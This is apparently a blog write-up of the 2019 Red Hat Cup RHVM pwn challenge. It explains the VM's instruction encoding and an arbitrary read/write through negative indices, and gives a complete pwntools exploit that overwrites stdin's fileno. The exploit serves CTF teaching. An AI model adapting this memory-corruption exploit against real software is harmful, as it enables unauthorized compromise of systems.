2019红帽杯 粤湾中心 (RHVM)


code结构

code结构

输入
0x0706050403020100
得到的测试结果为
0x000105040302

实际对应关系是
0x050403020100
变为
0x000105040302

0位置被移动到5位置想要处理后得到想要的值应该要把05放到0位置。
如下脚本完成上述操作

#从fro到to进行移位操作,索引从0开始

def left(item,i):
    return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
    if bit==64:
        fro_bit=(content>>(fro*8))&0xff #取出来第fro位
        fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
        result= (0xff << (to * 8))&fro_bit_8 #删除多余的
        print("result:",hex(to))
        return result
    if bit==32:
        fro_bit = (content>>(fro*8))&0xff  # 取出来第fro位
        fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)   # 把fro位复制到其他位
        return (0xff << (to * 8)) & fro_bit_8  # 删除多余的


decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)

指令分类

像这种进行数学运算的肯定是寄存器

sub_106C(&REG_dword_203060[op_info->op_data1], &REG_dword_203060[op_info->op_data2]);// *a1 += *a2;

这种包含加加减减操作,都是取指指令肯定是栈

save_to_qword_203058(&REG_dword_203060[op_info->op_data2]);//  *(_DWORD *)(qword_203058 + 4LL * ++esp_dword_203010) = *a1;

另外还有一个不知道是哪的地址应该就是内存

load(&REG_dword_203060[op_info->op_data1], &REG_dword_203060[op_info->op_data2]);// dword_203060[*a1] = dword_203080[*a2]; 寄存器取出两个索引,从内存取值放入寄存器

向任意一个地址写入数据的方法有两种

  • 1、基地址加偏移量,修改偏移量就可以实现任意地址写,一般libc加载地址是变的,这个偏移量也会变,计算起来比较麻烦。
  • 2、向一个地址处写入地址,再向这个地址写入值。这种方式简单但是需要程序里面提供这种两层地址的寻址方式。可以重点观察bss段写入的指针。

漏洞点

数据存放进去之后在运算过程中可以出现负数,负数的load和save会造成任意地址读写。

利用过程

从bss段load到stdin的地址,计算偏移得到_IO_2_1_stdin.fileno的地址(实际上因为是_IO_2_1_stdin.fileno-4,因为push指令是先加的),然后用push向这个地址处写0x233

exp

#coding=utf-8
from pwn import *
file_path = "./RHVM.bin"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

#从fro到to进行移位操作,索引从0开始

def left(item,i):
    return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
    if bit==64:
        fro_bit=(content>>(fro*8))&0xff #取出来第fro位
        fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
        result= (0xff << (to * 8))&fro_bit_8 #删除多余的
        # print("result:",hex(to))
        return result
    if bit==32:
        fro_bit = (content>>(fro*8))&0xff  # 取出来第fro位
        fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)   # 把fro位复制到其他位
        return (0xff << (to * 8)) & fro_bit_8  # 删除多余的
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def debug_1(addr,PIE=True):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n x /50xg 0x203058+{}'.format(hex(text_base+i),hex(text_base))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
def encode(item):

    encoding=(item>>16&0xffffffff)|((item&0xff00)<<(3*8))|((item&0xff)<<(5*8))
    # print("encoding: ",hex(encoding))
    return encoding
def decode(item):
    # decoding=((item&0x00ff00000000)>>(3*8))|((item&0xff0000000000)>>(5*8))|((item&0xffffffff)<<(2*8))
    decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)
    # print("decoding: ", hex(decoding))
    return decoding
    #0x06050403



def PUSH(a2):
    return decode(0x70 | (a2) << (5 * 8) | 1 << (4 * 8))
def ReadREG(a1,a2):
    return decode(0x40 | (a2) << (5 * 8) | a1 << (4 * 8))
def REGMul(a1,a2):
    return decode(0xd0 | (a2) << (5 * 8) | a1 << (4 * 8))
def RGEShl(a1,a2):
    return decode(0xe0 | (a2) << (5 * 8) | a1 << (4 * 8))

def RegCheng(a1,a2):
    return decode(0xc0 | (a2) << (5 * 8) | a1 << (4 * 8))
def LoadM(a1,a2):
    return decode(0x42 | (a2) << (5 * 8) | a1 << (4 * 8))
def AddGeg(a1,a2):
    return decode(0xa0 | (a2) << (5 * 8) | a1 << (4 * 8))
def SaveMem(a1,a2):
    return decode(0x41 | (a2) << (5 * 8) | a1 << (4 * 8))
def PrintInfo(a1,a2):
    return decode(0x60 | (a2) << (5 * 8) | a1 << (4 * 8))
EIP=0
ESP=0
# &stdout_offset=0x203020
fileno_off=0x3ec7d0
stdout_off=0x3ec760
#0x70,0x40
# debug_1([0x000000000000181D])
p.sendlineafter("EIP: ",str(EIP))
p.sendlineafter("ESP: ",str(ESP))



payload=[]
#laod(IO_file)首先需要把IO_file的地址加载到内存

payload.append(ReadREG(1,8))#reg1
payload.append(ReadREG(2,7))#reg2
payload.append(ReadREG(3,1))#reg3
payload.append(ReadREG(8,4))

payload.append(REGMul(0,1))#-8
payload.append(REGMul(0,8))#-16

payload.append(REGMul(0,2))#reg0=-23
payload.append(REGMul(4,3))#reg4=-1

payload.append(LoadM(4,0))#load到stdout寄存器-1(ebp+4)
payload.append(AddGeg(4,4))#
payload.append(REGMul(0,3))#reg0=-24
payload.append(LoadM(5,0))#load到stdout寄存器0

#计算IO_file.fileno的偏移
payload.append(ReadREG(1,7))
payload.append(ReadREG(2,4))
payload.append(RGEShl(1,2))#reg1=0x70
payload.append(REGMul(0,2))  #计算出fileno-4存到0寄存器
payload.append(AddGeg(0,1))##计算出fileno低四字节 存放到reg0

####修改ebp
payload.append(ReadREG(2,8))
payload.append(REGMul(5,2))#reg5=-8
payload.append(LoadM(4,5))#load寄存器0到-2(ebp)

###计算
#在7寄存器里存放0x233    0x233=0x02<<8+(6*8+3 ) 此时寄存器0,1,6正在被使用
payload.append(ReadREG(3,2))#reg3
payload.append(RGEShl(3,2))#reg3=0x0200
payload.append(ReadREG(4,6))#reg4=6
payload.append(RegCheng(4,2))#reg2=8
payload.append(ReadREG(7,3))
payload.append(AddGeg(4,7))#reg4=6*8+3
payload.append(AddGeg(3,4))#reg3=0x233

payload.append(PUSH(3))

payload.append(PrintInfo(0,0))


print(payload,hex(len(payload)))
p.sendlineafter("Give me code length: \n",str(len(payload)))

p.recvuntil("code: \n")
for item in payload:
    p.sendline(str(item))

p.interactive()

问题与经验

这种汇编指令是从rip+EBP_qword_203058指向的内容里面取出据

.text:00000000000011B5                 mov     rax, cs:EBP_qword_203058

看起来怎么都不像,用gdb查看发现对应这些指令

gdb看到的汇编指令

可以看到程序是从EBP_qword_203058指向的内容处取数据的。其中0x233就是放进去的值

执行结果

这个地址是堆的地址,ida也没有识别出来什么时候给它赋值的

对EBP操作的指令

暂时不知道原因但是需要关注一个结论:cs:EBP_qword_203058这种段寻址不能相信,需要调试才能确认


评论
 上一篇
湖湘杯wp-pwn 湖湘杯wp-pwn
pwn1 what the f**k printf?输入16个32能够溢出 泄露libc 获取shell #coding=utf-8 from pwn import * local=1 pop_rdi_ret=0x00000000
2020-11-10 九层台
下一篇 
使用增强cfg图的被删除符号表的二进制文件神经网络逆向引擎 使用增强cfg图的被删除符号表的二进制文件神经网络逆向引擎
使用增强cfg图的被删除符号表的二进制文件神经网络逆向引擎开源项目地址 https://github.com/tech-srl/Nero 问题 汇编指令包含的语意信息太少了。 二进制函数的原始名字比较长。 作者做的东西 获取CFG 为每
1970-01-01 九层台
  目录